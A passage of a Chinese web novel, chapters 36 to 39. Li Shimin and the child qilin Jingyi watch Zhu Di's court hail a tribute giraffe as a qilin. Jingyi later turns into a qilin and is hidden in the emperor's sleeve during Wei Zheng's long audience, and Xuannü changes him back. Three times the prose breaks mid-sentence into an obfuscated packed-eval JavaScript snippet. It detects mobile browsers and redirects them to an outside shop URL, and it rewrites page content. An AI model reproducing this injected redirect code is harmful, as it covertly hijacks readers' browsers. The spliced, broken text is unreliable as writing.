阶下文武分列,也没几个老老实实站着的。有踮脚的,有探脖子的,有和同僚交头接耳的,还有一位老臣正偷偷从袖子里摸老花镜。 殿门处,几名异族装束的使者鱼贯而入。 他们身后的侍从抬着一只巨大的笼子,笼身用锦缎密密罩着,只隐约透出里面那东西的轮廓。 很高。 非常高。 李世民凝神望去,目光里带着帝王独有的审视,也带着凡人面对未知时最本真的新奇。这到底是什么异兽?他从何处来?如何捕获? 锦缎被揭开。 笼门打开。 一只动物被牵了出来。 景颐屏住了呼吸。 它真的很高,四条腿又细又长,像四根插在地上的竹竿。脖子更是长得惊人,简直像是把一只鹿、一匹马和一条蛇捏在一起,又放在砧板上胡乱抻了又抻。 它的皮毛是淡棕色的,布满白色的、不规则的斑纹,像谁把云朵的碎片缝在了它身上。 它的头上长着两只短短的小角,覆着一层薄薄的绒毛,像两截还没长好的嫩树枝。 它有一双温驯的、湿润的、漆黑的大眼睛。 那眼睛缓缓扫过满殿的人,带着茫然,带着怯意,不知道自己为什么在这里,不知道自己为什么被这么多人盯着。 人群爆发出震天的欢呼。 “麒麟!真的是麒麟!” “祥瑞!天降祥瑞!” “陛下万岁!大明万岁!” 文武百官轰然炸开,贺声如潮,有人当场跪下叩首,有人激动得热泪盈眶,有人已经开始打腹稿准备献《麒麟赋》。 御座上的帝王站起身,大步走下丹陛,围着那只“麒麟”转了三圈。 他的眼睛里满是新奇和兴奋,伸手想摸,又怕惊着这“神兽”,手悬在半空,进也不是退也不是。 “好!”他大声道,“好得很!远人来朝,献此祥瑞,朕即位四年,四方宾服,此乃天意!” 他转头,对身边一个白面长须的大臣道:“解缙,记下来!榜葛剌国进贡麒麟,当昭告天下!” 那大臣连忙应声。 李世民专注地望着那只异兽,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190484|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 征战半生,见过突厥的马、吐蕃的牛、西域的骆驼、拂林的长角鹿,却从未见过这等模样的生灵。 那脖子是怎么长成那样的?那斑纹是天生还是后长?它吃什么?它来自哪个遥远的国度? 他看得入神,几乎忘了自己身在梦中。 直到袖口被轻轻拽了拽。 “李叔叔。” 景颐的声音很小,像从嗓子眼里挤出来的。 李世民低头。 景颐没有看那只长颈鹿,他垂着眼帘,长长的睫毛盖住了眼睛,小小的手死死攥着李世民的袖子。 “怎么了?” 景颐没有答。 过了很久,他慢慢抬起脸。 那双深褐色的眼眸里汪着一层水光,薄薄的,像三月初的湖面,风一吹就要碎。 他望着那只被万众欢呼的长脖子异兽,又低头看看自己的手、自己的胳膊、自己的腿。 然后他看向李世民。 眼泪刷地淌了下来。 “李叔叔,”他哭着说,“我长大以后……也会变成这样吗?” 李世民愣住了。 “也会变成脖子长长的、身上有斑点的怪物吗?”景颐的眼泪像断了线的珠子,一颗接一颗往下滚,“也会被关在笼子里、被这么多人围着看吗?” 他越说越伤心,声音开始抽噎:“我不要!我不要当这种麒麟!我是师父的麒麟!我不是长脖子的!我不要长大了!” “景颐,景颐,你听我说,”李世民慌忙蹲下身,双手扶住他的肩膀,“那不是麒麟,番邦人骗人的。” “可是他们都说它是麒麟!”景颐把脸埋进李世民肩头,哭得上气不接下气,“它明明那么高!那么奇怪!他们还喊它祥瑞!” 他死死攥着李世民的衣襟,小小的身体哭得一抖一抖。 “我、我是不是也会变成那样……师父没有告诉我……师父是不是怕我难过……” 李世民把他搂进怀里。 那具小小的身体在他臂弯里颤抖,滚烫的眼泪透过龙袍,渗进肩窝。 李世民捧起景颐泪痕狼藉的小脸,拇指轻轻擦去那汪洋恣肆的泪水。 “你不是它,它也不是你。” “你是我见过的最可爱的麒麟,金鬃、鳞甲、鹿角、马蹄,我记得很清楚,师父给我看过画本。你的角以后会长成珊瑚那样,分叉的,漂亮的,不是那两根秃秃的小树枝。” 景颐抽噎着:“真、真的?” “真的。”李世民斩钉截铁,“你若不信,等师父回来问他。” 景颐点点头,情绪慢慢平复了些。他把脸埋回李世民肩头,闷闷地“嗯”了一声。 “那咱们回……” 他没说完。 李世民也没说完。 殿中不知何时安静了。 方才还山呼海啸的万岁声,交头接耳的议论声,老臣摸老花镜的窸窣声,全都在同一瞬间消失了。 不对! 李世民缓缓抬起头。 御座上那个魁梧的帝王站起来了。 他不再前倾身子,不再撑着膝盖。他站得笔直,肩膀微微绷紧,那双向来亮如猛虎的眼睛此刻眯成一条缝,正一瞬不瞬地盯着他们。 阶下的文武百官像被施了定身术。 那个踮脚张望的,脚还踮着,人却不动了。 那个和同僚交头接耳的,嘴还张着,话却卡在了喉咙里。 那个摸老花镜的老臣,眼镜举在半空,忘了往鼻梁上架。 异族使臣还保持着献礼的姿势,手里托着打开的锦盒,盒中宝石的光泽在寂静中显得格外刺目。 长颈鹿甩了甩尾巴,温驯的大眼睛里满是困惑,不知道自己怎么忽然没人看了。 殿中数百双眼睛。 全都望着同一个方向。 望着半空中那两道若隐若现的、不属于这个时代的身影。 景颐从李世民肩头抬起脸:“嗝……李叔叔,他们为什么都看着我们?” 37.第 37 章 “李叔叔,为什么他们都在看我们?” 李世民没有回答。 他与御座上那双虎目对视。 那目光里有震惊,有戒备,有审视,还有一闪而过的、连主人自己都未必察觉的…… 新奇。 像在战场上猝然遭遇一支从天而降的奇兵,不知敌友,不知来意,只觉得这辈子头一回见这等阵仗。 那帝王往前走了一步。 文武百官倒吸一口凉气。 他又走了一步。 这一步迈得极大,带着沙场老将独有的、不知“龙行缓步”四字怎么写的豪迈。 “陛下!”一个老臣终于把眼镜架上了鼻梁,声音都在抖,“陛下不可——” 帝王摆摆手,连头都没回。 他走到御座前的台阶边缘,居高临下地,其实是微微仰着头,因为他们飘在半空中,就这样望着李世民。 李世民也看着他。 两双眼睛,隔着三百年的光阴,隔着帝王与帝王的身份,隔着梦与现实那道看不见的屏障。 一瞬静默。 那帝王忽然咧开嘴,笑了。 “有意思。”他的声音洪亮如钟,带着北地口音,带着近乎孩子气的兴奋,“我活了这么多年了,头一回见这等稀罕事。” 他歪着头,上下打量着李世民。 “你是何方神圣?打哪儿来的?来我这应天府做什么?” 没人答话。 他也不恼,“小麒麟,”他冲景颐招手,声音洪亮,“下来些,让我瞧瞧!” 景颐从李世民肩头探出半张脸,深褐色的眼眸还红着,怔怔地望着这个说话像打雷的陌生皇帝。 他往前飘了半寸。 朱棣眯着眼,仔仔细细地打量他。从头上的小髻,到哭红的鼻尖,到紧紧攥着李世民袖口的手指。 “……嘿,”那帝王忽然一拍大腿,眉飞色舞,“这小娃儿生得怪俊的!” “这才像麒麟嘛!”他啧啧称奇,回头冲群臣一扬下巴,“你们瞧见没?我就说嘛,番邦那个长脖子哪儿像麒麟了?这才是麒麟该有的样子!” 满朝文武:“……” 礼部尚书张了张嘴,想说什么,发现自己完全不知道该说什么。 朱棣转回来,又看了景颐两眼,忽然压低声音,用那种传授秘诀的语气:“我跟你说,你那角,日后会长得分叉、带弯、漂亮得很。我在北征时见过鹿群,公鹿的角都是那样的。” 他顿了顿,又补了一句,“比那长脖子好看一百倍。” 景颐眨了眨眼,睫毛上还挂着泪,嘴角却忍不住往上弯了一弯。 朱棣满意地点点头。他直起身,看向李世民。 两个帝王对视。 朱棣忽然抱拳,不是君臣之礼,是沙场同袍相逢时那种干脆利落的拱手。 “这位兄台,”他说,“你家这小麒麟,我很喜欢。” 李世民微微颔首,没有说话。 朱棣也不恼,他收回手,负在身后,望着这两道已开始微微涣散的身影,笑道: “往后多来我这儿走走。我这儿稀奇古怪的东西多,番邦年年进贡,总比你们那头的热闹。” 李世民仍然没有说话。 他只是低头,把景颐往怀里拢了拢。 景颐趴在李叔叔肩头,红红的眼睛望着这个说话像打雷、说他比长脖子好看一百倍的陌生皇帝。 他小声说:“谢谢你。” 朱棣听见了。 他咧开嘴,笑得很是开怀。 梦境开始破碎。 金柱、藻井、御座、长脖子、满殿大臣、那个魁梧的帝王……一切都像投入石子的水面,涟漪一圈圈荡开,支离破碎。 朱棣的脸在破碎的光影中忽明忽暗。 他张口说了句什么。 声音被撕成碎片,只有口型依稀可辨。 “下次再来啊——” 虚空闭合。 景颐感觉自己在往下坠,他死死攥着李世民的手。 耳边是风声,是水声,是梦破碎的声音。 然后他猛地睁开眼。 熏炉,折子,窗外的柳树。 李世民扶着他的肩,正唤他的名字:“景颐?景颐?” 景颐张了张嘴,想说“李叔叔我没事”。 可他胸口忽然一阵灼烫。 像有什么东西压不住了。 他低头,看见那枚赤红的玉锁在里衣下剧烈震颤,看见师父给的玉佩发出嗡鸣,看见那颗鹰纹念珠烫得像刚从炉火里拿出来。 他想喊李叔叔。 可他的声音卡在喉咙里,化成一声极轻的、压抑的呜咽。 眼前金光一闪。 李世民只觉膝上一沉,他低头。 那件豆青小袄空落落地滑落在案边。 而他的膝上,多了一只,金鬃,鳞甲,鹿角,马蹄,毛茸茸的,正努力把自己缩成一颗球的麒麟。 一只货真价实的、活生生的麒麟。 李世民与它对视。 小麒麟与他对视。 殿中静得只剩窗外柳枝拂动的声音。 “……景颐?”李世民的声音有些艰涩。 小麒麟点了点头。 那两根还没长开的嫩角跟着晃了晃。 殿外忽然传来脚步声,坚实、沉稳、一丝不苟。 景颐耳朵竖起来。 李世民也听见了。 那脚步声在殿门外停住。 内侍的声音隔着门帘响起:“陛下,魏中丞求见,说有要事禀告……” 小麒麟蹲在李世民膝上,四只小短蹄并拢,尾巴紧张地卷成一个圈。 它眨巴着那双金眸,怯怯地望着眼前的帝王,睫毛上还挂着方才梦里的泪痕。 李世民与它对视。 一人一兽,四目相对。 窗外春风拂柳,殿内落针可闻。 李世民深吸一口气。 再深吸一口气。 “景颐,”他的声音压得极低,带着此生少有的紧张,“你……能变回来吗?” 小麒麟摇了摇头。 那两根嫩角跟着晃了晃。 李世民闭了闭眼。 他又问:“那……多久能变回来?” 小麒麟歪着脑袋想了想,又摇了摇头。 李世民:“……” 殿外的脚步声越来越近。 内侍的声音隔着门帘再次响起,:“陛下?魏中丞已经到了……” 李世民腾地直起身。 他低头看看自己膝上这只巴掌大的、金光闪闪的、任谁看了都知道绝非寻常小兽的麒麟。 又抬头看看殿门那道隐约可见的、笔直如松的身影。 再低头看看麒麟。 麒麟也仰头看着他,金眸里写满了“李叔叔怎么办”。 李世民大脑一片空白。 他征战沙场十几年,玄武门箭已上弦时都没手抖过。 此刻他抖了。 殿门门帘被掀开一道缝。 李世民一把抄起膝上的小麒麟,往袖子里一塞。 动作行云流水,干脆利落,全然不像是第一次干这种事。 只是太急了。 袖口窄,塞了半天塞不进去。小麒麟脑袋进去了,屁股卡在外面,四只小短蹄在空中乱蹬,尾巴紧张地甩来甩去。 李世民额头青筋直跳,另一只手按住那团乱蹬的小东西,用力往里一怼—— “唔!” 袖子里传来一声极轻的、被闷住的惊呼。 终于塞进去了。 李世民飞速把袖口整好,抚平褶皱,端坐回御案后。 刚坐定,门帘掀起。 魏徵跨进殿门。 “臣魏徵,参见陛下。” 他躬身行礼,声如洪钟,一丝不苟。 “魏卿平身。”李世民抬手,声音稳如磐石,面容平静无波。 魏徵直起身。 他抬眼看向御座。 天子端坐,龙袍整肃,面前摊着几本奏折,俨然正在批阅公务。 一切都很正常。 魏徵收回目光,他开口, “陛下,臣今日所奏,乃太常寺祭礼乐章修订一事。” “嗯。” “去岁陛下曾命太常寺修订秋祭乐章,郑乐正已呈上新谱。然臣查阅典籍,发现其中商徵二音与《周礼》所载古法略有出入。虽无伤大雅,然祭礼乃国之大典,音律当循正朔……” 魏徵滔滔不绝。 李世民端坐倾听,时不时点头,时不时“嗯”一声。 一切都很正常。 只是他的右臂,始终贴着身侧,纹丝不动。 纹丝不动。 魏徵没有看他的右臂,他看着李世民的眼睛。 “臣以为,商音应降半律,徵音应升三分,方合古制……”他继续说着,语速均匀,气息绵长,丝毫没有停下来的意思。 李世民的右臂内侧,那团小小的、温热的、毛茸茸的存在,正在蠕动。 先是一阵轻微的拱动。 然后是细细的、被布料闷住的哼唧。 李世民不动声色地收紧右臂,把袖口往身后藏了藏。 魏徵:“此外,臣查阅《开元礼》时发现,社稷坛祭祀所用玉器规格,与《周礼》所载亦有不合之处……” 袖子里。 景颐觉得自己的鼻子被龙袍里衬的绸缎堵得死死的。 四面八方全是黑的,全是软的,全是李叔叔袖子的味道,龙涎香,朱砂墨,还有一点点批奏折时沾上的茶渍。 他什么都看不见。 他喘不过气。 他用小脑袋顶了顶头顶的布料,顶不动。他试着把鼻子从绸缎里拱出来,那料子软塌塌地贴着他的脸,越拱贴得越紧。 他好闷。 他想出去。 他憋不住了。 于是他用最小的、几乎是从嗓子眼里挤出来的气声: “李叔叔……” 李世民神色一僵。 “李叔叔,”那细细的声音从袖口深处传来,像小虫子在爬,“颐儿快喘不过气了……” 李世民面不改色。 他抬起左手,状似无意地抚过右袖,指尖在袖口处轻轻点了两下。 别说话。 袖子里的动静停了一瞬。 然后那细细的声音又响起来,带着委屈: “可是真的好闷……” 魏徵:“……臣查阅《尚书》时,亦见其中有‘八音克谐,无相夺伦’之语。郑乐正新谱虽美,然美则美矣,于古制恐有未尽之处……” 李世民把右臂再往身后藏了半寸。 他转向魏徵,嘴角微微上扬。 那是一个极其标准的、温和而专注的微笑。 “魏卿所言极是。”他说,“太常寺那边,我会命人复核。” 魏徵看着他。 看着他那微微上扬的嘴角。 看着他那过分专注的眼神。 看着他那只始终贴在身后、纹丝不动、与另一只自在大方的左臂形成鲜明对比的右臂。 魏徵没有低头。 没有瞟。 没有做任何失礼的举动。 他只是眨了眨眼。 “……陛下圣明。”他说。 然后他深吸一口气。 “此外,臣前日翻阅《通典》,见其中记载北齐时曾有太常卿因祭乐失序被黜,此例甚可为鉴……” 李世民嘴角的微笑,开始有些僵。 魏徵今日的语速,似乎比平时慢了半拍。 有一种“今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17195558|195893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无事,臣愿与陛下从盘古开天辟地讲起”的架势。 袖子深处。 景颐把脑袋拱进一块稍微松软些的布料褶子里,试图给自己挖出一个小小的呼吸孔。 他挖啊,挖啊。 终于,一缕极细的、带着龙涎香味的空气钻了进来。 他贪婪地吸了一口。 又吸了一口。 这个位置,刚好贴着李世民的小臂内侧。 他的每一次呼吸,都像一根极轻的羽毛,在李世民的皮肤上扫过。 李世民的右臂微不可察地抖了一下。 魏徵:“……是故臣以为,祭乐之制,非细故也。礼乐征伐自天子出,乐者,通伦理者也……” 李世民没有在听。 他所有的注意力,都集中在自己的右小臂上。 那里,每一息,都有一阵细细的、温热的、毛茸茸的呼吸。 像有一只小虫子在爬。 像有一片羽毛在扫。 痒。 钻心的痒。 他忍住了。 他面无表情地忍住了。 魏徵:“……故郑乐正所呈之谱,臣斗胆拟议:商音降半律,徵音升三分,编磬加十六枚,柷敔移位半尺……” 他语速依然均匀。 他气息依然绵长。 他好像真的打算把从上古到今的礼乐沿革,在今日下午全部讲完。 李世民望着他。 魏徵也望着李世民。 两人隔着三尺御案,四目相对,一个嘴角挂着越来越僵的微笑,一个面容肃穆、大义凛然。 他发现了。 李世民心里咯噔一声。 他没发现。 李世民又给自己打气。 他肯定发现了。 他绝对发现了。 他不说。 李世民微笑的嘴角,开始有细微的抽搐。 魏徵依然滔滔不绝。 只是他的眼角,似乎有极淡的、一闪而过的愉悦。 “陛下,”魏徵正气凛然,“臣还有一事……” 袖子里。 景颐终于找到了一个相对舒服的姿势。 他把四只小短蹄收拢,把尾巴卷成一个圈,把下巴搁在李世民的小臂骨上。 他不闷了。 可是他困了。 梦里的长脖子怪物,哭得稀里哗啦,忽然被塞进黑乎乎的袖子里,一阵手忙脚乱,然后是一个人不停地说、不停地说、不停地说…… 那些字一个一个从他头顶飘过,像庙里老和尚念经。 他的眼皮开始打架。 他的脑袋开始一点一点往下栽,呼吸慢慢变得均匀、绵长、平稳。 他睡着了。 李世民感觉到右臂上那份小小的、温热的重量,渐渐沉了下去。 他低头。 袖口边缘,露出一小撮金色的鬃毛。 他不动声色地抬手,用左袖把那撮金毛往里掖了掖。 抬起头。 对上魏徵的视线。 魏徵正直直地望着他。 目光从他的脸,缓缓下移,移到他的右臂,再移到他的右袖。 然后移回他的脸。 李世民微微一笑。 那笑容里,有三分尴尬,三分心虚,三分“我知道你知道但我不点破你也给我装不知道”的帝王尊严。 还有一分近乎自暴自弃的坦然。 魏徵看了他半晌。 然后他收回目光,捧起手中的笏板,继续。 “……臣查阅《后汉书·礼仪志》时,见其中载有‘立春之日,夜漏未尽五刻,京都百官皆衣青衣’之制。臣思及今春祭服之色,略有未妥……” 窗外的日光缓缓西斜。 殿角的铜漏滴答滴答。 魏徵从《后汉书》讲到《晋书》,从《晋书》讲到《宋书》,从《宋书》讲到《南齐书》。 李世民端坐着,微笑点头。 右袖里,小麒麟打了个小小的、几乎听不见的鼾。 那撮金鬃毛又悄悄从袖口探了出来。 这一次,李世民没有发现。 魏徵看见了。 他顿了顿。 然后他收回目光,把嘴角那一丝极淡的、若有若无的弧度,压回了肃穆的面容之下。 “……此外,臣查阅《梁书》……” 终于。 铜漏滴完两个时辰。 魏徵放下笏板,躬身行礼。 “臣所奏之事已毕。”他直起身,“臣告退。” 李世民几乎是同时站了起来。 “魏卿辛苦。”他的声音依然稳如磐石,只是尾调快了半拍,“今日所奏,我会细细斟酌。” 魏徵倒退三步,转身,走向殿门。 门帘在他身后落下。 他站在殿外。 春风拂面,柳枝摇曳。 魏徵望着甘露殿紧闭的门帘,负手而立。 他身后的小内侍小心翼翼地问:“魏中丞?您这是……” 魏徵没有说话,他静立了良久。 然后,他的嘴角慢慢、慢慢地,扬起一个极其罕见的弧度。 随即转身,大步流星地走向宫门。 步伐比来时轻快了三分。 殿内。 李世民缓缓坐回御座。 他伸出右手,小心翼翼地把袖口拉开。 一团金色的、毛茸茸的、四只小短蹄蜷在胸前的小东西,正睡得香甜。 那两根嫩角在烛光下泛着柔和的光。 那撮金鬃从袖口探出来,被风吹得轻轻晃动。 李世民低头看着它。 看了很久。 然后他轻轻叹了口气。 “……魏徵。”他低声道,“你给我等着。” 38.第 38 章 放完狠话后,李世民低头看着小麒麟,看了很久。 然后他伸出手,极其小心地、像托一朵落花那样,把这团小东西从袖子里请了出来。 小麒麟在睡梦中翻了个身,四只蹄子在他掌心蹬了蹬,找到一个舒服的姿势,又沉沉睡去。 李世民托着它,静坐了片刻。 殿外,内侍总管王德候在门帘边,眼观鼻鼻观心,大气都不敢出。 他方才什么也没看见,他什么也不会说。 他是打武德年间就跟着陛下的老人了,玄武门那夜他守在帐外。他知道什么事该记在心里,什么事该烂在土里。 比如今天,陛下从袖子里掏出一只金鬃闪闪的小麒麟。 这事他就准备带进棺材。 “王德。” “臣在。” 李世民顿了顿:“……你方才看见了什么?” 王德垂着眼,声音平稳如水:“臣只看见陛下批完折子,累了,在御座旁小憩片刻。” “嗯。”他把小麒麟拢进掌心,站起身,“回寝殿。” 王德躬身:“遵旨。” 他跟在帝王身后三步,目光始终落在自己脚尖前那一小块地砖上。 不去看陛下掌心里那团偶尔甩一下尾巴的金色小东西。 不去看那撮从指缝间漏出来的、亮得惊人的鬃毛。 更不去看那两根嫩生生的小角。 他什么也没看见。 寝殿的榻比甘露殿的御座软和。 李世民把小麒麟放在枕边,又扯过一床薄被,叠成小小的方块,轻轻盖在那团毛茸茸的身上。 小麒麟在睡梦中往被子里拱了拱,尾巴从被角探出来,惬意地甩了甩。 李世民在榻边坐了片刻。 他该批折子。河西的春耕、吐蕃的榷场、突厥降部的安置……奏折堆成山,等着他朱笔御批。 他该传膳。申时已过,午膳早已消化殆尽。 他该做很多事。 可他只是坐在榻边,看着枕上那团睡得昏天黑地的小麒麟。 “王德。” “臣在。” “你说……它什么时候能变回来?” 王德忠垂首,声音平稳:“臣愚钝,不敢妄测。” 李世民没指望他回答。 他伸手,轻轻碰了碰那撮翘着的金鬃。 软得惊人。 小麒麟在睡梦中咂了咂嘴,那丁点儿粉嫩的舌尖缩了回去。 李世民轻叹,“它也不知道。” 他把被子往上拽了拽。 窗外暮色渐沉,李世民慢慢地、慢慢地向后靠去,倚在凭几上。 他没有躺下,他只是闭了眼睛,想歇一歇。 一刻钟后,帝王寝殿响起了均匀的呼吸声。 枕边的小麒麟翻了个身,把蹄子搭在他手背上。 没有醒。 王德轻手轻脚地退出殿外,放下了门帘。 景颐醒来时,发现自己被裹在李世民的怀里,正穿过凝云轩的月洞门。 暮色已浓,廊下灯笼初上,暖黄的光晕染着庭院里那棵老桂树。新发的嫩叶在风中轻轻摇着,影子落在青砖地上,碎成一片一片。 “李叔叔?”它的声音还带着刚睡醒的软糯,“怎么回凝云轩了?” 李世民低头看它,“找找先生有没有留下什么东西。” 景颐眨了眨眼。 “师父留的东西……”它努力回忆,“琴、琴谱、茶叶、还有一盆师父说快被颐儿浇死的兰草……” “不是这些。”李世民走进屋,在长琴常坐的琴案边站定,“是能帮你变回来的东西。” 景颐沉默了,它把脑袋搁在李世民胳膊上,小小声:“颐儿也不知道有没有……” 李世民没有答话。 他开始翻找。 琴案抽屉拉开,几卷琴谱、一匣琴弦、半块没用完的松香。没有。 书架扫过,几十卷道藏、十几册山河志、一摞不知哪年哪月的练字纸。景颐的字永远这多一撇、那多一点。没有。 多宝格,几枚古木的碎屑、一只空了的锦盒、三颗不知什么用途的琉璃珠。没有。 李世民关上最后一格抽屉,直起身。 凝云轩静静立在那里。先生的琴还挂在墙上,先生的茶还收在罐里,先生的兰草正在窗台上无辜地绿着。 可先生不在。 景颐从他怀里仰起脸,金眸里汪起薄薄一层水光。 “李叔叔,”它小声说,“颐儿是不是……闯祸了?” 李世民低头看着它。 那毛茸茸的头紧张地往后缩着,四只小短蹄并拢,尾巴卷成紧紧的圈。 “没有。”他说,“你没闯祸。” 他把小麒麟拢回掌心,轻轻握了握。 “你只是还小。” 三天后,小麒麟依然没有变回来。 三天里,李世民试过所有能想到的办法。 他命人取来景颐常穿的衣裳,叠好放在榻边。没用。 他命人取来景颐爱吃的枣泥酥,放在小碟里摆在枕侧,小麒麟闻着味儿醒了,把酥啃得满脸渣,吃完又睡过去,依然没变。 他甚至拿出长琴曾送给他的奇异果实,据说能让人梦见过去未来,他把那果实在小麒麟枕边放了半宿。 小麒麟梦见自己追着满院的糖麒麟跑,糖麒麟越跑越快,它扑通摔进草丛,醒来时蹄子上还沾着梦里草叶的露水。 人形?没有。 第三天傍晚,李世民批完最后一本折子,习惯性地伸手去够枕边那团毛茸茸。 空的。 他腾地站起来。 “大家,小郎君在窗台上。”王德连忙指方向。 李世民转头。 窗台边,那盆被景颐啃成一坨的花盆旁,蹲着一只金色小兽。 它正对着夕阳,认认真真地舔自己的蹄子。 李世民缓缓坐回去。 “……景颐。”他揉了揉眉心。 “嗯?”小麒麟头也不回,继续舔。 “你在做什么。” “颐儿的蹄子沾了酥渣。”小麒麟认真道,“不舔干净会招蚂蚁。” 李世民沉默。 “李叔叔,”小麒麟舔完前蹄,换了个姿势开始舔后蹄,“师父什么时候回来呀?” 李世民没有答。 他望向窗外那片被夕阳染成金红的云海,沉默了很久。 “他会回来的。”他说。 第四日。 景颐趴在那盆兰草旁边,四只小短蹄摊开,肚皮贴着微凉的石砖。 三天了。 它从最开始的紧张不安,到后来的委屈茫然,到现在的躺平。 反正也变不回去,急也没用。 它打了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李世民跨进凝云轩时,就看见玄女把一件豆青小袄扔给地上那个刚长出人形的孩子。 “快穿上,姐姐我可没有带不穿衣服的小孩出门的习惯。” 景颐抱着袄子,手忙脚乱地往头上套。套了半天,脑袋从袖口钻出来,胳膊却找不着该往哪儿伸。 李世民站在门口,一时竟不知该进该退。 玄女抬眼看了他一下,低头继续帮景颐拽袖子,语气随意得像在说今儿天气不错。 “人我帮你弄回来了,长琴那边传个讯就行,不用你特意谢。” “有劳……”李世民顿了一顿,他不知道此人是何身份。 “叫我玄女就行。”玄女把景颐最后一个衣带系好,拍拍他肩膀,“行了,找你李叔叔去吧。” 景颐哒哒哒跑到李世民面前,仰着脸,还没来得及掩盖的金眸亮晶晶的。 “李叔叔!颐儿变回来啦!” 李世民低头看着他。 头发乱蓬蓬的,衣带系歪了,一只袖子长一只袖子短,脸上还糊着没擦干净的泪痕。 全须全尾。 “嗯。”他连日不安的心终于稳了下来,“变回来了。” 39.第 39 章 玄女没有急着走,她在凝云轩住了下来,理由是“难得出来一趟,不多玩玩不可能”。 李世民没有意见,他把这事交给了长孙皇后,观音婢比他有经验得多。 玄女刚在凝云轩安顿好,长孙皇后便亲自来访。 “听闻女士是长琴先生的故人,”她立在廊下,温婉含笑,“也是景颐的长辈。妾身忝为后宫之主,理应拜会。”① 玄女原本歪在榻上逗景颐玩,闻言坐直了身子,她上下打量了长孙皇后一眼。 钗环素净,气度端方,说话不卑不亢,看着舒服。 “你就是长孙皇后?”玄女眨了眨眼,“长琴之前提过你,说你把小景颐照顾得很好。” 长孙皇后微微欠身:“女士过誉。” 玄女从榻上跳下来,趿拉着鞋走到她面前:“你会玩双陆吗?” 长孙皇后怔了怔,旋即微笑:“略知一二。” “那正好,”玄女眼睛一亮,“小景颐太小,跟他玩没意思。咱俩来两局?” 长孙皇后身后的宫女们面面相觑,长孙皇后却笑了。 “好。” 这一来,便来了三日。 第一日,长孙皇后输了五局,赢了七局。 玄女拍案:“再来!” 第二日,长孙皇后输了四局,赢了八局。 玄女拉着她袖子:“你方才那步怎么走的?教教我。” 长孙皇后便握着她的手,把棋子的走法又讲了一遍。玄女听着听着,脑袋凑得越来越近,鬓边那滴露珠几乎要蹭到长孙皇后的发髻。 “懂了懂了!”她坐直身子,气势汹汹,“再来一局!” 第三日,长孙皇后一早便命人请玄女来立政殿赏花。 殿中新移了几盆牡丹,是洛阳进贡的名品姚黄,正值花期,重瓣叠金,开得雍容。玄女蹲在花盆前看了半天,伸手戳了戳花瓣。 “这花好看。”她转头问长孙皇后,“能掐一枝带走吗?” 长孙皇后笑着命人剪了一枝,又取来一只青瓷瓶,亲手插好。 “你带回凝云轩,摆在窗前,看着也欢喜。” 玄女抱着花瓶,没有立刻走,她在殿中站了一会儿,忽然说:“你这里比凝云轩亮堂。” 长孙皇后道:“若是喜欢,往后常来坐坐。” “那当然。”玄女理所当然地点头,“我还要来赢回双陆呢。” 第四日,玄女没有来立政殿,她带着景颐、李治、丽质去了西市。长孙皇后午后小憩醒来,宫女禀报说女士巳时就出门了,说是要给孩子们买糖画,顺便,“顺便给您带好吃的”。 长孙皇后怔了怔,问:“可说了带什么?” 宫女摇头:“女士没说。” 长孙皇后便没有再问。 傍晚,立政殿的门帘被人一把掀开。 景颐第一个冲进来,怀里抱着一只巴掌大的小泥兔,举得高高的:“大姐姐大姐姐!您看兔子!” 李治举着咬掉一只耳朵的糖兔,跟在后面踉踉跄跄。丽质捧着新买的字帖,温温柔柔地行过礼,眼里也盛着笑意。 最后进来的是玄女。 她手里拎着个硕大的食盒,大步流星迈进殿门,发髻被风吹乱了一缕,衣角还沾着不知哪儿蹭的糖渍,鬓边那滴露珠却仍稳稳凝着,在夕光里流转。 “你看我给你带了什么!” 食盒“咚”地落在案上,盖子掀开,胡麻饼、蜜三刀、龙须酥、糖芋苗。四色果子,满满当当,还冒着热气。 “西市那家老铺子,”玄女往榻边一坐,翘起腿,语气得意得像打了胜仗,“排了半个时辰队呢!” 长孙皇后看着那满满一盒点心,怔了怔,然后她笑了,那笑容很轻,像暮春的风拂过池面,只泛起极淡的涟漪。 “有劳玄女。” “客气什么。”玄女已经捏起一块龙须酥,咬了一大口,边嚼边含糊道,“这家的比宫里做的好吃多了,不信你尝尝。” 长孙皇后拈起一块胡麻饼,低头咬了一小口。玄女歪着头看她,腮帮子还鼓着。 “好吃吗?” “好吃。” 玄女满意地点点头,把食盒往她那边推了推。 “那都给你。我不爱吃甜的。” 她说完,又捏起一块蜜三刀,嘎嘣咬掉一半。长孙皇后看着它手里半块蜜三刀,没有戳穿。 窗外暮色渐浓,殿中烛火初上。景颐趴在榻边摆弄他的小泥兔,李治蹲在旁边看,丽质轻声教他认泥兔肚子上的印花。 玄女靠在凭几上,不知什么时候歪到了长孙皇后身边。她伸出一根手指,戳了戳那只小泥兔的耳朵。 “这只耳朵比另一只短。”她说。 “是姐姐你给它戳歪了。”景颐立刻护住自己的兔子。 